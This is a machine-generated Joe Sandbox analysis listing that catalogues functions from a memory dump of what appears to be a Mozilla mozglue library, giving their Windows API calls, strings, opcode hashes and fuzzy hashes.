Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: d10dde6c1e8eacf48e4132ca5433b6f42368857344e500a1c11bcca5e761fd16
Instruction ID: baaa5c9412679c81f627e47d26e886b741620d512e8423c470294f7be1bdb4b8
Opcode Fuzzy Hash: d10dde6c1e8eacf48e4132ca5433b6f42368857344e500a1c11bcca5e761fd16
Instruction Fuzzy Hash: F031AF71B002469FDF08DFB9C868AAA77B5FB55308F950119E501B3690EB70E924CB61

Function 6CC34EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CC34EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC34F2E
moz_xmalloc.MOZGLUE ref: 6CC34F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CC34F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC352E6
Sleep.KERNEL32(00000010), ref: 6CC35481
free.MOZGLUE(?), ref: 6CC35498

Strings

(, xrefs: 6CC35250

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: c217ec53c9a42724fa6fc130c4da672a7c6e9c12211315d4e06251cd19cf4d18
Instruction ID: 9b1e854cea8e6fa0e8c7cb29e6dd8389bc06dd1b2c2b4a99d71b4aa920e59a24
Opcode Fuzzy Hash: c217ec53c9a42724fa6fc130c4da672a7c6e9c12211315d4e06251cd19cf4d18
Instruction Fuzzy Hash: 50F1E271A18B108FC716DF39C85062BB7F5AFD6284F45872EF84AA7651EB31D8428B81

Function 6CBE7810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC5E744), ref: 6CBE7885
LeaveCriticalSection.KERNEL32(6CC5E744), ref: 6CBE78A5
EnterCriticalSection.KERNEL32(6CC5E784), ref: 6CBE78AD
LeaveCriticalSection.KERNEL32(6CC5E784), ref: 6CBE78CD
EnterCriticalSection.KERNEL32(6CC5E7DC), ref: 6CBE78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CBE78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6CBE795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6CBE79BB
LeaveCriticalSection.KERNEL32(?), ref: 6CBE7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CBE7C82
LeaveCriticalSection.KERNEL32(6CC5E7DC), ref: 6CBE7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6CBE7DAF

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 6580ec4c9782d5d0282fa2954581a2ea32497761684de24e9cf80bdaaa6bc995
Instruction ID: 8ab08d75295bbbe7786db2de84913111896e82f621c7114c6adba5e1af8a15cb
Opcode Fuzzy Hash: 6580ec4c9782d5d0282fa2954581a2ea32497761684de24e9cf80bdaaa6bc995
Instruction Fuzzy Hash: DB02A270A0125A8FDB54CF18C984799B7B5FF88758F6582AAD809B7701E770BE90CF80

Function 6CC35FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CC36009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CC36024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CBDEE51,?), ref: 6CC36046
OutputDebugStringA.KERNEL32(?,6CBDEE51,?), ref: 6CC36061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC36069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC36073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC36082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CC5148E), ref: 6CC36091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CBDEE51,00000000,?), ref: 6CC360BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC360C4

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 8538a7569b64851d717db9cce60b82a7ec075bd72abbef38bc328beffc805a1c
Instruction ID: 2eb8d2b4644ca71abb7857c2ec23110e3a7db869175f04a14b5f9a9626ba8371
Opcode Fuzzy Hash: 8538a7569b64851d717db9cce60b82a7ec075bd72abbef38bc328beffc805a1c
Instruction Fuzzy Hash: 5421F4B1A002189FDF106F24DC09AAE7BB8FF45318F408528E81AE7240DB75A569CFD5

Function 6CBF9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CBF9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CBF9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBF9F34
LeaveCriticalSection.KERNEL32(?), ref: 6CBFA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CBFA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CBFA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CBFA8B1, 6CBFA8D4, 6CBFA8EF

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 185f825c492dd5d2f21038a36946513ae87c1987ea6800426c5a88a02b629ef3
Instruction ID: 01fd0ab7c635379264c09dfa39a8befcbf66d47c60a5e60936b1416a7112b12f
Opcode Fuzzy Hash: 185f825c492dd5d2f21038a36946513ae87c1987ea6800426c5a88a02b629ef3
Instruction Fuzzy Hash: 38728A72A056518FD308CF28C580615FBE1FF89728F2AC66DE8699B791D371E846CF81

Function 6CC22C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CC22C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CC22C61

Part of subcall function 6CBD4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBD4E5A
Part of subcall function 6CBD4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CBD4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC22C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC22E2D

Part of subcall function 6CBE81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CBE81DE

Strings

expected a Time entry, xrefs: 6CC22E36
(root), xrefs: 6CC2354F
ProfileBuffer parse error: %s, xrefs: 6CC22E3B

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2d4ebe52fe0a246051492c51ba8f5ac9828c1ca5e29fe75cab2ac72db59ef47a
Instruction ID: 32fd175e5d5c2363bcb1f6a1f8df975bf93927197ec0ca5ef5104be8d86f15a1
Opcode Fuzzy Hash: 2d4ebe52fe0a246051492c51ba8f5ac9828c1ca5e29fe75cab2ac72db59ef47a
Instruction Fuzzy Hash: A391D0706087808FD724CF28C49069FB7F5AFC9368F54892DE59A8B750EB34D949CB52

Function 6CBFC0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6CBFD4BB
0123456789abcdef, xrefs: 6CBFC317

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: ccb8baa3ae57876a4de8b55bb33116dae75c5dec0f57ba7cee9b5530f2fd111f
Instruction ID: 6172bf11536987e3e9f21fbfefdc76d5aa38c2528e94b58c86470ca8f9265910
Opcode Fuzzy Hash: ccb8baa3ae57876a4de8b55bb33116dae75c5dec0f57ba7cee9b5530f2fd111f
Instruction Fuzzy Hash: BE52C1306083818FD724DF28C46079AB7F2EB86318F54891ED9E687B91D735989ACB53

Function 6CC39E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CC39F3D
__aulldiv.LIBCMT ref: 6CC39F77
__aullrem.LIBCMT ref: 6CC39F8C
__aulldiv.LIBCMT ref: 6CC3A023

Strings

NaN, xrefs: 6CC39EAB
-Infinity, xrefs: 6CC39E60, 6CC39E7B

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: ebbabfbd02d25e976b572c1b1cd97d0a9e0a6b0831c86556417720eaf8d9e1f8
Instruction ID: 2f6e14f234a87ed404ae26b9e2da5ff1ac56150b986ccd33f70df583e298ec51
Opcode Fuzzy Hash: ebbabfbd02d25e976b572c1b1cd97d0a9e0a6b0831c86556417720eaf8d9e1f8
Instruction Fuzzy Hash: FAC1C031E00329CBDF14CFE9D85079EB7B6FB88704F145529D40AABB80EB75A949CB91

Function 6CBDD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6CBDD852
-, xrefs: 6CBDD7DD
8, xrefs: 6CBDDC08
, xrefs: 6CBDDA88
1, xrefs: 6CBDDBDD
@, xrefs: 6CBDDAF6
9, xrefs: 6CBDDE7F
0, xrefs: 6CBDDC7F

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: e254686aa9630de99d5393c056f6e5dd95aef01b02c4bda00fa636d0e3ab4b9d
Instruction ID: 6ae9d9e35c100a6865fe8a50c69c1264c4a8c60c3c4a51ac482968d83a94deea
Opcode Fuzzy Hash: e254686aa9630de99d5393c056f6e5dd95aef01b02c4bda00fa636d0e3ab4b9d
Instruction Fuzzy Hash: D362AE3060D3858FD715CE38E49075ABBE2EF86318F1A4A5DE8D44BA51C335A885CFA3

Function 6CBE9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

' , xrefs: 6CBEA3D8
0, xrefs: 6CBEAB22
9, xrefs: 6CBEA5D6
1, xrefs: 6CBEA824
@, xrefs: 6CBEA625
0, xrefs: 6CBEA100

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: bf217b536a4fa621e4350d1a0cf55c4c38b1823534dff0e44cd1bd00ffd2e387
Instruction ID: b47eb1174782f7796cd50b64a91c25fd5197ac904b8ea2b238844c9f2f964ad6
Opcode Fuzzy Hash: bf217b536a4fa621e4350d1a0cf55c4c38b1823534dff0e44cd1bd00ffd2e387
Instruction Fuzzy Hash: 9A82D3315093A18BD711CF15C09026EBFF9EB8DF98F558A19E8D557A90D334A885CF83

Function 6CBDBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CBDC1CB
__aulldiv.LIBCMT ref: 6CBDC24C
__aulldiv.LIBCMT ref: 6CBDC348
__aullrem.LIBCMT ref: 6CBDC365
__aulldiv.LIBCMT ref: 6CBDC37D

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: df16240b5f6f18f63ebc9e94e9d29a09117fdf775e474ef95e92afe11b2582bc
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 4E321532B046518FC718DE2CC89065ABBE6EFC9310F0A866DE899CB395D734ED05CB91

Function 6CC4545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CC48A4B

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 2aa7c1931d9919ebfbc2974af3a46d2f3ecf756db8b35efe05c23073acbe8482
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 23B1F972E0021A8FDB24CF68CC91BE8B7B6FF85314F1482A9C549DB791E7309985CB90

Function 6CC4542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CC488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CC4925C

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: fc35a1e7f4f43db905aa0386770ca1971c2a2eb6984ae8d48c43c36f6caf82d3
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 44B1D572E0011A8BDB14CF58C881AE9B7B6EF85314F148269C949DBB85E730A989CB90

Function 6CC450C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC48E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CC4925C

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: ddea5e99ce834a7313248276daa0576e397886ef9fb569eab6eadd5f90e446c4
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 8DA1E972E001168FDB14CF58CC90BE9B7B6EF85314F1582B9C949DBB85E730A999CB90

Function 6CC277A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC27A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC27A93

Part of subcall function 6CBF5C50: GetTickCount64.KERNEL32 ref: 6CBF5D40
Part of subcall function 6CBF5C50: EnterCriticalSection.KERNEL32(6CC5F688), ref: 6CBF5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CC27AA1

Part of subcall function 6CBF5C50: __aulldiv.LIBCMT ref: 6CBF5DB4
Part of subcall function 6CBF5C50: LeaveCriticalSection.KERNEL32(6CC5F688), ref: 6CBF5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CC27B31

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: f8edb42781f289294dc1dd057d1d108a5fbf0e3958b0f68f8048e5ad65402404
Instruction ID: 609c0741b10e682c1c15543c41b4d310dde02d9e4c4e3b6544bcc5c5eae321aa
Opcode Fuzzy Hash: f8edb42781f289294dc1dd057d1d108a5fbf0e3958b0f68f8048e5ad65402404
Instruction Fuzzy Hash: D0B18E357083848BCB14CF25C49065FB7E2BFC9318F154A1CE995A7B91EB74E90ADB82

Function 6CC16CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CC16D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC16E1E

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 5ee4caf486a312c05bf3e51acfb0de4c6a243c7d9406564a3b3539000c9887b6
Instruction ID: 888374695d8dbc9806b7d29853e58c50bcb86877b11fa56c9bd1941a186b7481
Opcode Fuzzy Hash: 5ee4caf486a312c05bf3e51acfb0de4c6a243c7d9406564a3b3539000c9887b6
Instruction Fuzzy Hash: 97A15C746187848FC715CF25C4907AAFBF2FF89308F44495DE48A97B51EB70A849CB92

Function 6CC3B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CC3B720
RtlNtStatusToDosError.NTDLL ref: 6CC3B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CC0FE3F,00000000,00000000,?,?,00000000,?,6CC0FE3F), ref: 6CC3B760

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: e4a4264fbcb2435df7538dbf537776b48c2371e90f129ed302c63bd6c4cba51d
Instruction ID: c7525c31d85ea45d444a163e6c2e4c19240cca5abfddec99bd52cd9368e1b4a9
Opcode Fuzzy Hash: e4a4264fbcb2435df7538dbf537776b48c2371e90f129ed302c63bd6c4cba51d
Instruction Fuzzy Hash: 1CF0AFB0A0061CAEEF019AA19C98BEEB7BCDB05319F50A12AE515A15C0E77495CCC660

Function 6CBF4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CBF4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CBF5585, 6CBF55A8, 6CBF55C3, 6CBF5624

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
